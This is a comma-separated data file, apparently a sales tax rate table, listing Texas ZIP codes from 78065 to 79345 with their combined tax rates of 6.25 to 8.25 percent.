US-TX-78065,US,TX,78065,6.75,,,, US-TX-78066,US,TX,78066,6.75,,,, US-TX-78067,US,TX,78067,6.25,,,, US-TX-78069,US,TX,78069,6.75,,,, US-TX-78070,US,TX,78070,8.25,,,, US-TX-78071,US,TX,78071,6.75,,,, US-TX-78072,US,TX,78072,6.25,,,, US-TX-78073,US,TX,78073,6.75,,,, US-TX-78074,US,TX,78074,6.75,,,, US-TX-78075,US,TX,78075,6.75,,,, US-TX-78076,US,TX,78076,6.25,,,, US-TX-78101,US,TX,78101,6.75,,,, US-TX-78102,US,TX,78102,8.25,,,, US-TX-78104,US,TX,78104,8.25,,,, US-TX-78107,US,TX,78107,6.25,,,, US-TX-78108,US,TX,78108,8.25,,,, US-TX-78109,US,TX,78109,8.25,,,, US-TX-78111,US,TX,78111,6.75,,,, US-TX-78112,US,TX,78112,6.75,,,, US-TX-78113,US,TX,78113,6.75,,,, US-TX-78114,US,TX,78114,6.25,,,, US-TX-78115,US,TX,78115,8.25,,,, US-TX-78116,US,TX,78116,6.75,,,, US-TX-78117,US,TX,78117,6.75,,,, US-TX-78118,US,TX,78118,8.25,,,, US-TX-78119,US,TX,78119,8.25,,,, US-TX-78121,US,TX,78121,6.25,,,, US-TX-78122,US,TX,78122,6.75,,,, US-TX-78123,US,TX,78123,6.75,,,, US-TX-78124,US,TX,78124,6.75,,,, US-TX-78125,US,TX,78125,6.75,,,, US-TX-78130,US,TX,78130,8.25,,,, US-TX-78131,US,TX,78131,8.25,,,, US-TX-78132,US,TX,78132,6.75,,,, US-TX-78133,US,TX,78133,8.25,,,, US-TX-78135,US,TX,78135,8.25,,,, US-TX-78140,US,TX,78140,8.25,,,, US-TX-78141,US,TX,78141,6.25,,,, US-TX-78142,US,TX,78142,6.75,,,, US-TX-78143,US,TX,78143,6.25,,,, US-TX-78144,US,TX,78144,6.75,,,, US-TX-78145,US,TX,78145,6.75,,,, US-TX-78146,US,TX,78146,6.75,,,, US-TX-78147,US,TX,78147,8,,,, US-TX-78148,US,TX,78148,8.25,,,, US-TX-78150,US,TX,78150,6.75,,,, US-TX-78151,US,TX,78151,6.75,,,, US-TX-78152,US,TX,78152,7.75,,,, US-TX-78154,US,TX,78154,8.25,,,, US-TX-78155,US,TX,78155,8.25,,,, US-TX-78156,US,TX,78156,8.25,,,, US-TX-78159,US,TX,78159,6.75,,,, US-TX-78160,US,TX,78160,6.25,,,, US-TX-78161,US,TX,78161,6.25,,,, US-TX-78162,US,TX,78162,6.75,,,, US-TX-78163,US,TX,78163,8.25,,,, US-TX-78164,US,TX,78164,6.25,,,, US-TX-78201,US,TX,78201,8.25,,,, US-TX-78202,US,TX,78202,8.25,,,, US-TX-78203,US,TX,78203,8.25,,,, US-TX-78204,US,TX,78204,8.25,,,, US-TX-78205,US,TX,78205,8.25,,,, US-TX-78206,US,TX,78206,8.25,,,, US-TX-78207,US,TX,78207,8.25,,,, US-TX-78208,US,TX,78208,8.25,,,, US-TX-78209,US,TX,78209,8.25,,,, US-TX-78210,US,TX,78210,8.25,,,, US-TX-78211,US,TX,78211,8.25,,,, US-TX-78212,US,TX,78212,8.25,,,, US-TX-78213,US,TX,78213,8.25,,,, US-TX-78214,US,TX,78214,8.25,,,, US-TX-78215,US,TX,78215,8.25,,,, US-TX-78216,US,TX,78216,8.25,,,, US-TX-78217,US,TX,78217,8.25,,,, US-TX-78218,US,TX,78218,8.25,,,, US-TX-78219,US,TX,78219,8.25,,,, US-TX-78220,US,TX,78220,8.25,,,, US-TX-78221,US,TX,78221,8.25,,,, US-TX-78222,US,TX,78222,8.25,,,, US-TX-78223,US,TX,78223,8.25,,,, US-TX-78224,US,TX,78224,8.25,,,, US-TX-78225,US,TX,78225,8.25,,,, US-TX-78226,US,TX,78226,8.25,,,, US-TX-78227,US,TX,78227,8.25,,,, US-TX-78228,US,TX,78228,8.25,,,, US-TX-78229,US,TX,78229,8.25,,,, US-TX-78230,US,TX,78230,8.25,,,, US-TX-78231,US,TX,78231,8.25,,,, US-TX-78232,US,TX,78232,8.25,,,, US-TX-78233,US,TX,78233,8.25,,,, US-TX-78234,US,TX,78234,8.25,,,, US-TX-78235,US,TX,78235,8.25,,,, US-TX-78236,US,TX,78236,6.75,,,, US-TX-78237,US,TX,78237,8.25,,,, US-TX-78238,US,TX,78238,8.25,,,, US-TX-78239,US,TX,78239,6.75,,,, US-TX-78240,US,TX,78240,8.25,,,, US-TX-78241,US,TX,78241,8.25,,,, US-TX-78242,US,TX,78242,8.25,,,, US-TX-78243,US,TX,78243,6.75,,,, US-TX-78244,US,TX,78244,6.75,,,, US-TX-78245,US,TX,78245,8.25,,,, US-TX-78246,US,TX,78246,8.25,,,, US-TX-78247,US,TX,78247,8.25,,,, US-TX-78248,US,TX,78248,8.25,,,, US-TX-78249,US,TX,78249,8.25,,,, US-TX-78250,US,TX,78250,8.25,,,, US-TX-78251,US,TX,78251,8.25,,,, US-TX-78252,US,TX,78252,6.75,,,, US-TX-78253,US,TX,78253,6.75,,,, US-TX-78254,US,TX,78254,8.25,,,, US-TX-78255,US,TX,78255,6.75,,,, US-TX-78256,US,TX,78256,8.25,,,, US-TX-78257,US,TX,78257,8.25,,,, US-TX-78258,US,TX,78258,8.25,,,, US-TX-78259,US,TX,78259,8.25,,,, US-TX-78260,US,TX,78260,8.25,,,, US-TX-78261,US,TX,78261,6.75,,,, US-TX-78263,US,TX,78263,6.75,,,, US-TX-78264,US,TX,78264,6.75,,,, US-TX-78265,US,TX,78265,8.25,,,, US-TX-78266,US,TX,78266,7.25,,,, US-TX-78268,US,TX,78268,8.125,,,, US-TX-78269,US,TX,78269,8.25,,,, US-TX-78270,US,TX,78270,8.25,,,, US-TX-78278,US,TX,78278,8.25,,,, US-TX-78279,US,TX,78279,8.25,,,, US-TX-78280,US,TX,78280,8.25,,,, US-TX-78283,US,TX,78283,8.25,,,, US-TX-78284,US,TX,78284,8.25,,,, US-TX-78285,US,TX,78285,8.25,,,, US-TX-78288,US,TX,78288,8.25,,,, US-TX-78289,US,TX,78289,8.25,,,, US-TX-78291,US,TX,78291,8.25,,,, US-TX-78292,US,TX,78292,8.25,,,, US-TX-78293,US,TX,78293,8.25,,,, US-TX-78294,US,TX,78294,8.25,,,, US-TX-78295,US,TX,78295,8.25,,,, US-TX-78296,US,TX,78296,8.25,,,, US-TX-78297,US,TX,78297,8.25,,,, US-TX-78298,US,TX,78298,8.25,,,, US-TX-78299,US,TX,78299,8.25,,,, US-TX-78330,US,TX,78330,7.75,,,, US-TX-78332,US,TX,78332,8.25,,,, US-TX-78333,US,TX,78333,8.25,,,, US-TX-78335,US,TX,78335,8.25,,,, US-TX-78336,US,TX,78336,8.25,,,, US-TX-78338,US,TX,78338,6.25,,,, US-TX-78339,US,TX,78339,6.75,,,, US-TX-78340,US,TX,78340,7.25,,,, US-TX-78341,US,TX,78341,7.25,,,, US-TX-78342,US,TX,78342,8.25,,,, US-TX-78343,US,TX,78343,8.25,,,, US-TX-78344,US,TX,78344,6.75,,,, US-TX-78347,US,TX,78347,6.75,,,, US-TX-78349,US,TX,78349,6.25,,,, US-TX-78350,US,TX,78350,8.25,,,, US-TX-78351,US,TX,78351,8.25,,,, US-TX-78352,US,TX,78352,6.25,,,, US-TX-78353,US,TX,78353,6.75,,,, US-TX-78355,US,TX,78355,8.25,,,, US-TX-78357,US,TX,78357,8.25,,,, US-TX-78358,US,TX,78358,8.25,,,, US-TX-78359,US,TX,78359,8.25,,,, US-TX-78360,US,TX,78360,8.25,,,, US-TX-78361,US,TX,78361,8.25,,,, US-TX-78362,US,TX,78362,8.25,,,, US-TX-78363,US,TX,78363,8.25,,,, US-TX-78364,US,TX,78364,8.25,,,, US-TX-78368,US,TX,78368,8.25,,,, US-TX-78369,US,TX,78369,6.75,,,, US-TX-78370,US,TX,78370,6.25,,,, US-TX-78371,US,TX,78371,6.75,,,, US-TX-78372,US,TX,78372,6.75,,,, US-TX-78373,US,TX,78373,8.25,,,, US-TX-78374,US,TX,78374,8.25,,,, US-TX-78375,US,TX,78375,6.75,,,, US-TX-78376,US,TX,78376,6.25,,,, US-TX-78377,US,TX,78377,8.25,,,, US-TX-78379,US,TX,78379,6.75,,,, US-TX-78380,US,TX,78380,6.75,,,, US-TX-78381,US,TX,78381,8.25,,,, US-TX-78382,US,TX,78382,8.25,,,, US-TX-78383,US,TX,78383,6.75,,,, US-TX-78384,US,TX,78384,8.25,,,, US-TX-78385,US,TX,78385,6.25,,,, US-TX-78387,US,TX,78387,8.25,,,, US-TX-78389,US,TX,78389,6.75,,,, US-TX-78390,US,TX,78390,8,,,, US-TX-78391,US,TX,78391,6.75,,,, US-TX-78393,US,TX,78393,6.25,,,, US-TX-78401,US,TX,78401,8.25,,,, US-TX-78402,US,TX,78402,8.25,,,, US-TX-78403,US,TX,78403,8.25,,,, US-TX-78404,US,TX,78404,8.25,,,, US-TX-78405,US,TX,78405,8.25,,,, US-TX-78406,US,TX,78406,8.25,,,, US-TX-78407,US,TX,78407,8.25,,,, US-TX-78408,US,TX,78408,8.25,,,, US-TX-78409,US,TX,78409,8.25,,,, US-TX-78410,US,TX,78410,8.25,,,, US-TX-78411,US,TX,78411,8.25,,,, US-TX-78412,US,TX,78412,8.25,,,, US-TX-78413,US,TX,78413,8.25,,,, US-TX-78414,US,TX,78414,8.25,,,, US-TX-78415,US,TX,78415,8.25,,,, US-TX-78416,US,TX,78416,8.25,,,, US-TX-78417,US,TX,78417,8.25,,,, US-TX-78418,US,TX,78418,8.25,,,, US-TX-78419,US,TX,78419,8.25,,,, US-TX-78426,US,TX,78426,8.25,,,, US-TX-78427,US,TX,78427,8.25,,,, US-TX-78460,US,TX,78460,8.25,,,, US-TX-78463,US,TX,78463,8.25,,,, US-TX-78465,US,TX,78465,8.25,,,, US-TX-78466,US,TX,78466,8.25,,,, US-TX-78467,US,TX,78467,8.25,,,, US-TX-78468,US,TX,78468,8.25,,,, US-TX-78469,US,TX,78469,8.25,,,, US-TX-78472,US,TX,78472,8.25,,,, US-TX-78480,US,TX,78480,8.25,,,, US-TX-78501,US,TX,78501,8.25,,,, US-TX-78502,US,TX,78502,8.25,,,, US-TX-78503,US,TX,78503,8.25,,,, US-TX-78504,US,TX,78504,8.25,,,, US-TX-78505,US,TX,78505,8.25,,,, US-TX-78516,US,TX,78516,8.25,,,, US-TX-78520,US,TX,78520,8.25,,,, US-TX-78521,US,TX,78521,8.25,,,, US-TX-78522,US,TX,78522,8.25,,,, US-TX-78523,US,TX,78523,8.25,,,, US-TX-78526,US,TX,78526,8.25,,,, US-TX-78535,US,TX,78535,7.5,,,, US-TX-78536,US,TX,78536,6.25,,,, US-TX-78537,US,TX,78537,6.25,,,, US-TX-78538,US,TX,78538,6.25,,,, US-TX-78539,US,TX,78539,8.25,,,, US-TX-78540,US,TX,78540,8.25,,,, US-TX-78541,US,TX,78541,8.25,,,, US-TX-78542,US,TX,78542,6.25,,,, US-TX-78543,US,TX,78543,6.25,,,, US-TX-78545,US,TX,78545,6.25,,,, US-TX-78547,US,TX,78547,6.25,,,, US-TX-78548,US,TX,78548,7.25,,,, US-TX-78549,US,TX,78549,6.25,,,, US-TX-78550,US,TX,78550,8.25,,,, US-TX-78551,US,TX,78551,8.25,,,, US-TX-78552,US,TX,78552,8.25,,,, US-TX-78553,US,TX,78553,8.25,,,, US-TX-78557,US,TX,78557,8.25,,,, US-TX-78558,US,TX,78558,6.25,,,, US-TX-78559,US,TX,78559,8.25,,,, US-TX-78560,US,TX,78560,8.25,,,, US-TX-78561,US,TX,78561,6.25,,,, US-TX-78562,US,TX,78562,7.25,,,, US-TX-78563,US,TX,78563,6.25,,,, US-TX-78564,US,TX,78564,6.25,,,, US-TX-78565,US,TX,78565,6.25,,,, US-TX-78566,US,TX,78566,6.25,,,, US-TX-78567,US,TX,78567,7.25,,,, US-TX-78568,US,TX,78568,6.25,,,, US-TX-78569,US,TX,78569,6.25,,,, US-TX-78570,US,TX,78570,8.25,,,, US-TX-78572,US,TX,78572,8.25,,,, US-TX-78573,US,TX,78573,8.25,,,, US-TX-78574,US,TX,78574,6.25,,,, US-TX-78575,US,TX,78575,7.25,,,, US-TX-78576,US,TX,78576,6.25,,,, US-TX-78577,US,TX,78577,8.25,,,, US-TX-78578,US,TX,78578,8.25,,,, US-TX-78579,US,TX,78579,8,,,, US-TX-78580,US,TX,78580,8.25,,,, US-TX-78582,US,TX,78582,8.25,,,, US-TX-78583,US,TX,78583,6.25,,,, US-TX-78584,US,TX,78584,8.25,,,, US-TX-78585,US,TX,78585,6.25,,,, US-TX-78586,US,TX,78586,8.25,,,, US-TX-78588,US,TX,78588,6.25,,,, US-TX-78589,US,TX,78589,8.25,,,, US-TX-78590,US,TX,78590,6.25,,,, US-TX-78591,US,TX,78591,6.25,,,, US-TX-78592,US,TX,78592,6.25,,,, US-TX-78593,US,TX,78593,6.25,,,, US-TX-78594,US,TX,78594,6.25,,,, US-TX-78595,US,TX,78595,6.25,,,, US-TX-78596,US,TX,78596,8.25,,,, US-TX-78597,US,TX,78597,8.25,,,, US-TX-78598,US,TX,78598,6.25,,,, US-TX-78599,US,TX,78599,8.25,,,, US-TX-78602,US,TX,78602,6.75,,,, US-TX-78604,US,TX,78604,8.25,,,, US-TX-78605,US,TX,78605,6.25,,,, US-TX-78606,US,TX,78606,7.25,,,, US-TX-78607,US,TX,78607,6.25,,,, US-TX-78608,US,TX,78608,6.25,,,, US-TX-78609,US,TX,78609,6.25,,,, US-TX-78610,US,TX,78610,8.25,,,, US-TX-78611,US,TX,78611,6.25,,,, US-TX-78612,US,TX,78612,6.75,,,, US-TX-78613,US,TX,78613,8.25,,,, US-TX-78614,US,TX,78614,6.75,,,, US-TX-78615,US,TX,78615,6.25,,,, US-TX-78616,US,TX,78616,6.75,,,, US-TX-78617,US,TX,78617,8.25,,,, US-TX-78618,US,TX,78618,6.75,,,, US-TX-78619,US,TX,78619,7,,,, US-TX-78620,US,TX,78620,7,,,, US-TX-78621,US,TX,78621,6.75,,,, US-TX-78622,US,TX,78622,6.75,,,, US-TX-78623,US,TX,78623,8.25,,,, US-TX-78624,US,TX,78624,6.75,,,, US-TX-78626,US,TX,78626,8.25,,,, US-TX-78627,US,TX,78627,8.25,,,, US-TX-78628,US,TX,78628,8.25,,,, US-TX-78629,US,TX,78629,8.25,,,, US-TX-78630,US,TX,78630,8.25,,,, US-TX-78631,US,TX,78631,6.75,,,, US-TX-78632,US,TX,78632,6.75,,,, US-TX-78633,US,TX,78633,8.25,,,, US-TX-78634,US,TX,78634,6.25,,,, US-TX-78635,US,TX,78635,7.25,,,, US-TX-78636,US,TX,78636,7.25,,,, US-TX-78638,US,TX,78638,6.75,,,, US-TX-78639,US,TX,78639,6.25,,,, US-TX-78640,US,TX,78640,8.25,,,, US-TX-78641,US,TX,78641,8.25,,,, US-TX-78642,US,TX,78642,6.5,,,, US-TX-78643,US,TX,78643,8.25,,,, US-TX-78644,US,TX,78644,8.25,,,, US-TX-78645,US,TX,78645,8.25,,,, US-TX-78646,US,TX,78646,8.25,,,, US-TX-78648,US,TX,78648,8.25,,,, US-TX-78650,US,TX,78650,6.75,,,, US-TX-78651,US,TX,78651,8.25,,,, US-TX-78652,US,TX,78652,8.25,,,, US-TX-78653,US,TX,78653,8.25,,,, US-TX-78654,US,TX,78654,8.25,,,, US-TX-78655,US,TX,78655,8,,,, US-TX-78656,US,TX,78656,6.75,,,, US-TX-78657,US,TX,78657,8,,,, US-TX-78658,US,TX,78658,8.25,,,, US-TX-78659,US,TX,78659,6.75,,,, US-TX-78660,US,TX,78660,8.25,,,, US-TX-78661,US,TX,78661,6.75,,,, US-TX-78662,US,TX,78662,6.75,,,, US-TX-78663,US,TX,78663,7.25,,,, US-TX-78664,US,TX,78664,8.25,,,, US-TX-78665,US,TX,78665,8.25,,,, US-TX-78666,US,TX,78666,8.25,,,, US-TX-78667,US,TX,78667,8.25,,,, US-TX-78669,US,TX,78669,8.25,,,, US-TX-78670,US,TX,78670,6.75,,,, US-TX-78671,US,TX,78671,6.75,,,, US-TX-78672,US,TX,78672,6.25,,,, US-TX-78673,US,TX,78673,6.25,,,, US-TX-78674,US,TX,78674,7.25,,,, US-TX-78675,US,TX,78675,6.75,,,, US-TX-78676,US,TX,78676,7.25,,,, US-TX-78677,US,TX,78677,6.75,,,, US-TX-78680,US,TX,78680,8.25,,,, US-TX-78681,US,TX,78681,8.25,,,, US-TX-78682,US,TX,78682,8.25,,,, US-TX-78683,US,TX,78683,8.25,,,, US-TX-78691,US,TX,78691,8.25,,,, US-TX-78701,US,TX,78701,8.25,,,, US-TX-78702,US,TX,78702,8.25,,,, US-TX-78703,US,TX,78703,8.25,,,, US-TX-78704,US,TX,78704,8.25,,,, US-TX-78705,US,TX,78705,8.25,,,, US-TX-78708,US,TX,78708,8.25,,,, US-TX-78709,US,TX,78709,8.25,,,, US-TX-78710,US,TX,78710,8.25,,,, US-TX-78711,US,TX,78711,8.25,,,, US-TX-78712,US,TX,78712,8.25,,,, US-TX-78713,US,TX,78713,8.25,,,, US-TX-78714,US,TX,78714,8.25,,,, US-TX-78715,US,TX,78715,8.25,,,, US-TX-78716,US,TX,78716,6.75,,,, US-TX-78717,US,TX,78717,8.25,,,, US-TX-78718,US,TX,78718,8.25,,,, US-TX-78719,US,TX,78719,8.25,,,, US-TX-78720,US,TX,78720,8.25,,,, US-TX-78721,US,TX,78721,8.25,,,, US-TX-78722,US,TX,78722,8.25,,,, US-TX-78723,US,TX,78723,8.25,,,, US-TX-78724,US,TX,78724,8.25,,,, US-TX-78725,US,TX,78725,7.25,,,, US-TX-78726,US,TX,78726,8.25,,,, US-TX-78727,US,TX,78727,8.25,,,, US-TX-78728,US,TX,78728,8.25,,,, US-TX-78729,US,TX,78729,8.25,,,, US-TX-78730,US,TX,78730,8.25,,,, US-TX-78731,US,TX,78731,8.25,,,, US-TX-78732,US,TX,78732,8.25,,,, US-TX-78733,US,TX,78733,6.75,,,, US-TX-78734,US,TX,78734,8.25,,,, US-TX-78735,US,TX,78735,8.25,,,, US-TX-78736,US,TX,78736,8.25,,,, US-TX-78737,US,TX,78737,7,,,, US-TX-78738,US,TX,78738,8.25,,,, US-TX-78739,US,TX,78739,8.25,,,, US-TX-78741,US,TX,78741,8.25,,,, US-TX-78742,US,TX,78742,8.25,,,, US-TX-78744,US,TX,78744,8.25,,,, US-TX-78745,US,TX,78745,8.25,,,, US-TX-78746,US,TX,78746,6.75,,,, US-TX-78747,US,TX,78747,8.25,,,, US-TX-78748,US,TX,78748,8.25,,,, US-TX-78749,US,TX,78749,8.25,,,, US-TX-78750,US,TX,78750,8.25,,,, US-TX-78751,US,TX,78751,8.25,,,, US-TX-78752,US,TX,78752,8.25,,,, US-TX-78753,US,TX,78753,8.25,,,, US-TX-78754,US,TX,78754,8.25,,,, US-TX-78755,US,TX,78755,8.25,,,, US-TX-78756,US,TX,78756,8.25,,,, US-TX-78757,US,TX,78757,8.25,,,, US-TX-78758,US,TX,78758,8.25,,,, US-TX-78759,US,TX,78759,8.25,,,, US-TX-78760,US,TX,78760,8.25,,,, US-TX-78761,US,TX,78761,8.25,,,, US-TX-78762,US,TX,78762,8.25,,,, US-TX-78763,US,TX,78763,8.25,,,, US-TX-78764,US,TX,78764,8.25,,,, US-TX-78765,US,TX,78765,8.25,,,, US-TX-78766,US,TX,78766,8.25,,,, US-TX-78767,US,TX,78767,8.25,,,, US-TX-78768,US,TX,78768,8.25,,,, US-TX-78769,US,TX,78769,8.25,,,, US-TX-78772,US,TX,78772,8.25,,,, US-TX-78773,US,TX,78773,8.25,,,, US-TX-78774,US,TX,78774,8.25,,,, US-TX-78778,US,TX,78778,8.25,,,, US-TX-78779,US,TX,78779,8.25,,,, US-TX-78783,US,TX,78783,8.25,,,, US-TX-78799,US,TX,78799,8.25,,,, US-TX-78801,US,TX,78801,8.25,,,, US-TX-78802,US,TX,78802,8.25,,,, US-TX-78827,US,TX,78827,6.75,,,, US-TX-78828,US,TX,78828,6.75,,,, US-TX-78829,US,TX,78829,6.25,,,, US-TX-78830,US,TX,78830,7.75,,,, US-TX-78832,US,TX,78832,8.25,,,, US-TX-78833,US,TX,78833,6.75,,,, US-TX-78834,US,TX,78834,8.25,,,, US-TX-78836,US,TX,78836,6.75,,,, US-TX-78837,US,TX,78837,6.75,,,, US-TX-78838,US,TX,78838,7.25,,,, US-TX-78839,US,TX,78839,8.25,,,, US-TX-78840,US,TX,78840,8.25,,,, US-TX-78841,US,TX,78841,8.25,,,, US-TX-78842,US,TX,78842,8.25,,,, US-TX-78843,US,TX,78843,6.75,,,, US-TX-78847,US,TX,78847,8.25,,,, US-TX-78850,US,TX,78850,6.75,,,, US-TX-78851,US,TX,78851,6.75,,,, US-TX-78852,US,TX,78852,8.25,,,, US-TX-78853,US,TX,78853,8.25,,,, US-TX-78860,US,TX,78860,7.25,,,, US-TX-78861,US,TX,78861,8.25,,,, US-TX-78870,US,TX,78870,7.25,,,, US-TX-78871,US,TX,78871,6.75,,,, US-TX-78872,US,TX,78872,6.25,,,, US-TX-78873,US,TX,78873,6.75,,,, US-TX-78877,US,TX,78877,7.25,,,, US-TX-78879,US,TX,78879,6.75,,,, US-TX-78880,US,TX,78880,6.25,,,, US-TX-78881,US,TX,78881,7.25,,,, US-TX-78883,US,TX,78883,6.75,,,, US-TX-78884,US,TX,78884,7.25,,,, US-TX-78885,US,TX,78885,6.75,,,, US-TX-78886,US,TX,78886,6.75,,,, US-TX-78931,US,TX,78931,6.75,,,, US-TX-78932,US,TX,78932,6.75,,,, US-TX-78933,US,TX,78933,6.75,,,, US-TX-78934,US,TX,78934,8.25,,,, US-TX-78935,US,TX,78935,6.75,,,, US-TX-78938,US,TX,78938,6.75,,,, US-TX-78940,US,TX,78940,6.75,,,, US-TX-78941,US,TX,78941,6.75,,,, US-TX-78942,US,TX,78942,8.25,,,, US-TX-78943,US,TX,78943,6.75,,,, US-TX-78944,US,TX,78944,6.75,,,, US-TX-78945,US,TX,78945,6.75,,,, US-TX-78946,US,TX,78946,6.75,,,, US-TX-78947,US,TX,78947,6.75,,,, US-TX-78948,US,TX,78948,6.75,,,, US-TX-78949,US,TX,78949,6.75,,,, US-TX-78950,US,TX,78950,6.75,,,, US-TX-78951,US,TX,78951,6.75,,,, US-TX-78952,US,TX,78952,6.75,,,, US-TX-78953,US,TX,78953,6.75,,,, US-TX-78954,US,TX,78954,6.75,,,, US-TX-78956,US,TX,78956,6.75,,,, US-TX-78957,US,TX,78957,8.25,,,, US-TX-78959,US,TX,78959,6.75,,,, US-TX-78960,US,TX,78960,6.75,,,, US-TX-78961,US,TX,78961,8.25,,,, US-TX-78962,US,TX,78962,8.25,,,, US-TX-78963,US,TX,78963,6.75,,,, US-TX-79001,US,TX,79001,6.75,,,, US-TX-79002,US,TX,79002,7.75,,,, US-TX-79003,US,TX,79003,6.25,,,, US-TX-79005,US,TX,79005,6.25,,,, US-TX-79007,US,TX,79007,8.25,,,, US-TX-79008,US,TX,79008,8.25,,,, US-TX-79009,US,TX,79009,6.25,,,, US-TX-79010,US,TX,79010,7.75,,,, US-TX-79011,US,TX,79011,6.25,,,, US-TX-79012,US,TX,79012,6.25,,,, US-TX-79013,US,TX,79013,7.25,,,, US-TX-79014,US,TX,79014,8.25,,,, US-TX-79015,US,TX,79015,8.25,,,, US-TX-79016,US,TX,79016,8.25,,,, US-TX-79018,US,TX,79018,6.25,,,, US-TX-79019,US,TX,79019,6.25,,,, US-TX-79021,US,TX,79021,6.75,,,, US-TX-79022,US,TX,79022,8.25,,,, US-TX-79024,US,TX,79024,7.25,,,, US-TX-79025,US,TX,79025,6.75,,,, US-TX-79027,US,TX,79027,8.25,,,, US-TX-79029,US,TX,79029,8.25,,,, US-TX-79031,US,TX,79031,7.75,,,, US-TX-79032,US,TX,79032,7.75,,,, US-TX-79033,US,TX,79033,6.25,,,, US-TX-79034,US,TX,79034,6.25,,,, US-TX-79035,US,TX,79035,8.25,,,, US-TX-79036,US,TX,79036,6.25,,,, US-TX-79039,US,TX,79039,6.25,,,, US-TX-79040,US,TX,79040,6.25,,,, US-TX-79041,US,TX,79041,8.25,,,, US-TX-79042,US,TX,79042,6.75,,,, US-TX-79043,US,TX,79043,6.75,,,, US-TX-79044,US,TX,79044,6.25,,,, US-TX-79045,US,TX,79045,8.25,,,, US-TX-79046,US,TX,79046,6.25,,,, US-TX-79051,US,TX,79051,8.25,,,, US-TX-79052,US,TX,79052,6.75,,,, US-TX-79053,US,TX,79053,6.25,,,, US-TX-79054,US,TX,79054,7.25,,,, US-TX-79056,US,TX,79056,6.25,,,, US-TX-79057,US,TX,79057,6.25,,,, US-TX-79058,US,TX,79058,6.25,,,, US-TX-79059,US,TX,79059,8.25,,,, US-TX-79061,US,TX,79061,6.25,,,, US-TX-79062,US,TX,79062,6.25,,,, US-TX-79063,US,TX,79063,6.75,,,, US-TX-79064,US,TX,79064,6.25,,,, US-TX-79065,US,TX,79065,8.25,,,, US-TX-79066,US,TX,79066,8.25,,,, US-TX-79068,US,TX,79068,6.25,,,, US-TX-79070,US,TX,79070,8.25,,,, US-TX-79072,US,TX,79072,8.25,,,, US-TX-79073,US,TX,79073,8.25,,,, US-TX-79077,US,TX,79077,8,,,, US-TX-79078,US,TX,79078,7.25,,,, US-TX-79079,US,TX,79079,8,,,, US-TX-79080,US,TX,79080,6.25,,,, US-TX-79081,US,TX,79081,8.25,,,, US-TX-79082,US,TX,79082,6.25,,,, US-TX-79083,US,TX,79083,6.25,,,, US-TX-79084,US,TX,79084,6.25,,,, US-TX-79085,US,TX,79085,6.75,,,, US-TX-79086,US,TX,79086,6.25,,,, US-TX-79087,US,TX,79087,6.25,,,, US-TX-79088,US,TX,79088,8.25,,,, US-TX-79091,US,TX,79091,6.75,,,, US-TX-79092,US,TX,79092,7.75,,,, US-TX-79093,US,TX,79093,8.25,,,, US-TX-79094,US,TX,79094,6.25,,,, US-TX-79095,US,TX,79095,8.25,,,, US-TX-79096,US,TX,79096,8,,,, US-TX-79097,US,TX,79097,8,,,, US-TX-79098,US,TX,79098,6.75,,,, US-TX-79101,US,TX,79101,8.25,,,, US-TX-79102,US,TX,79102,8.25,,,, US-TX-79103,US,TX,79103,8.25,,,, US-TX-79104,US,TX,79104,8.25,,,, US-TX-79105,US,TX,79105,8.25,,,, US-TX-79106,US,TX,79106,8.25,,,, US-TX-79107,US,TX,79107,8.25,,,, US-TX-79108,US,TX,79108,6.25,,,, US-TX-79109,US,TX,79109,8.25,,,, US-TX-79110,US,TX,79110,8.25,,,, US-TX-79111,US,TX,79111,8.25,,,, US-TX-79114,US,TX,79114,8.25,,,, US-TX-79116,US,TX,79116,8.25,,,, US-TX-79117,US,TX,79117,8.25,,,, US-TX-79118,US,TX,79118,6.75,,,, US-TX-79119,US,TX,79119,6.75,,,, US-TX-79120,US,TX,79120,8.25,,,, US-TX-79121,US,TX,79121,8.25,,,, US-TX-79124,US,TX,79124,6.25,,,, US-TX-79159,US,TX,79159,8.25,,,, US-TX-79166,US,TX,79166,8.25,,,, US-TX-79168,US,TX,79168,8.25,,,, US-TX-79172,US,TX,79172,8.25,,,, US-TX-79174,US,TX,79174,8.25,,,, US-TX-79178,US,TX,79178,8.25,,,, US-TX-79185,US,TX,79185,8.25,,,, US-TX-79189,US,TX,79189,8.25,,,, US-TX-79201,US,TX,79201,8.25,,,, US-TX-79220,US,TX,79220,6.75,,,, US-TX-79221,US,TX,79221,7.75,,,, US-TX-79223,US,TX,79223,6.25,,,, US-TX-79225,US,TX,79225,8,,,, US-TX-79226,US,TX,79226,8.25,,,, US-TX-79227,US,TX,79227,6.25,,,, US-TX-79229,US,TX,79229,8.25,,,, US-TX-79230,US,TX,79230,6.25,,,, US-TX-79231,US,TX,79231,6.25,,,, US-TX-79233,US,TX,79233,7.5,,,, US-TX-79234,US,TX,79234,6.25,,,, US-TX-79235,US,TX,79235,8,,,, US-TX-79236,US,TX,79236,6.25,,,, US-TX-79237,US,TX,79237,7.25,,,, US-TX-79239,US,TX,79239,7.25,,,, US-TX-79240,US,TX,79240,6.25,,,, US-TX-79241,US,TX,79241,7.75,,,, US-TX-79243,US,TX,79243,6.75,,,, US-TX-79244,US,TX,79244,6.25,,,, US-TX-79245,US,TX,79245,8.25,,,, US-TX-79247,US,TX,79247,6.75,,,, US-TX-79248,US,TX,79248,6.25,,,, US-TX-79250,US,TX,79250,8.25,,,, US-TX-79251,US,TX,79251,6.25,,,, US-TX-79252,US,TX,79252,8.25,,,, US-TX-79255,US,TX,79255,8.25,,,, US-TX-79256,US,TX,79256,8.25,,,, US-TX-79257,US,TX,79257,8,,,, US-TX-79258,US,TX,79258,6.25,,,, US-TX-79259,US,TX,79259,6.75,,,, US-TX-79261,US,TX,79261,8.25,,,, US-TX-79311,US,TX,79311,8.25,,,, US-TX-79312,US,TX,79312,7.5,,,, US-TX-79313,US,TX,79313,7.25,,,, US-TX-79314,US,TX,79314,6.25,,,, US-TX-79316,US,TX,79316,8.25,,,, US-TX-79322,US,TX,79322,8.25,,,, US-TX-79323,US,TX,79323,7.75,,,, US-TX-79324,US,TX,79324,6.75,,,, US-TX-79325,US,TX,79325,6.25,,,, US-TX-79326,US,TX,79326,6.25,,,, US-TX-79329,US,TX,79329,6.75,,,, US-TX-79330,US,TX,79330,6.25,,,, US-TX-79331,US,TX,79331,8.25,,,, US-TX-79336,US,TX,79336,8.25,,,, US-TX-79338,US,TX,79338,8.25,,,, US-TX-79339,US,TX,79339,8.25,,,, US-TX-79342,US,TX,79342,6.25,,,, US-TX-79343,US,TX,79343,7.75,,,, US-TX-79344,US,TX,79344,6.75,,,, US-TX-79345,US,TX,79345,7.75,,,, 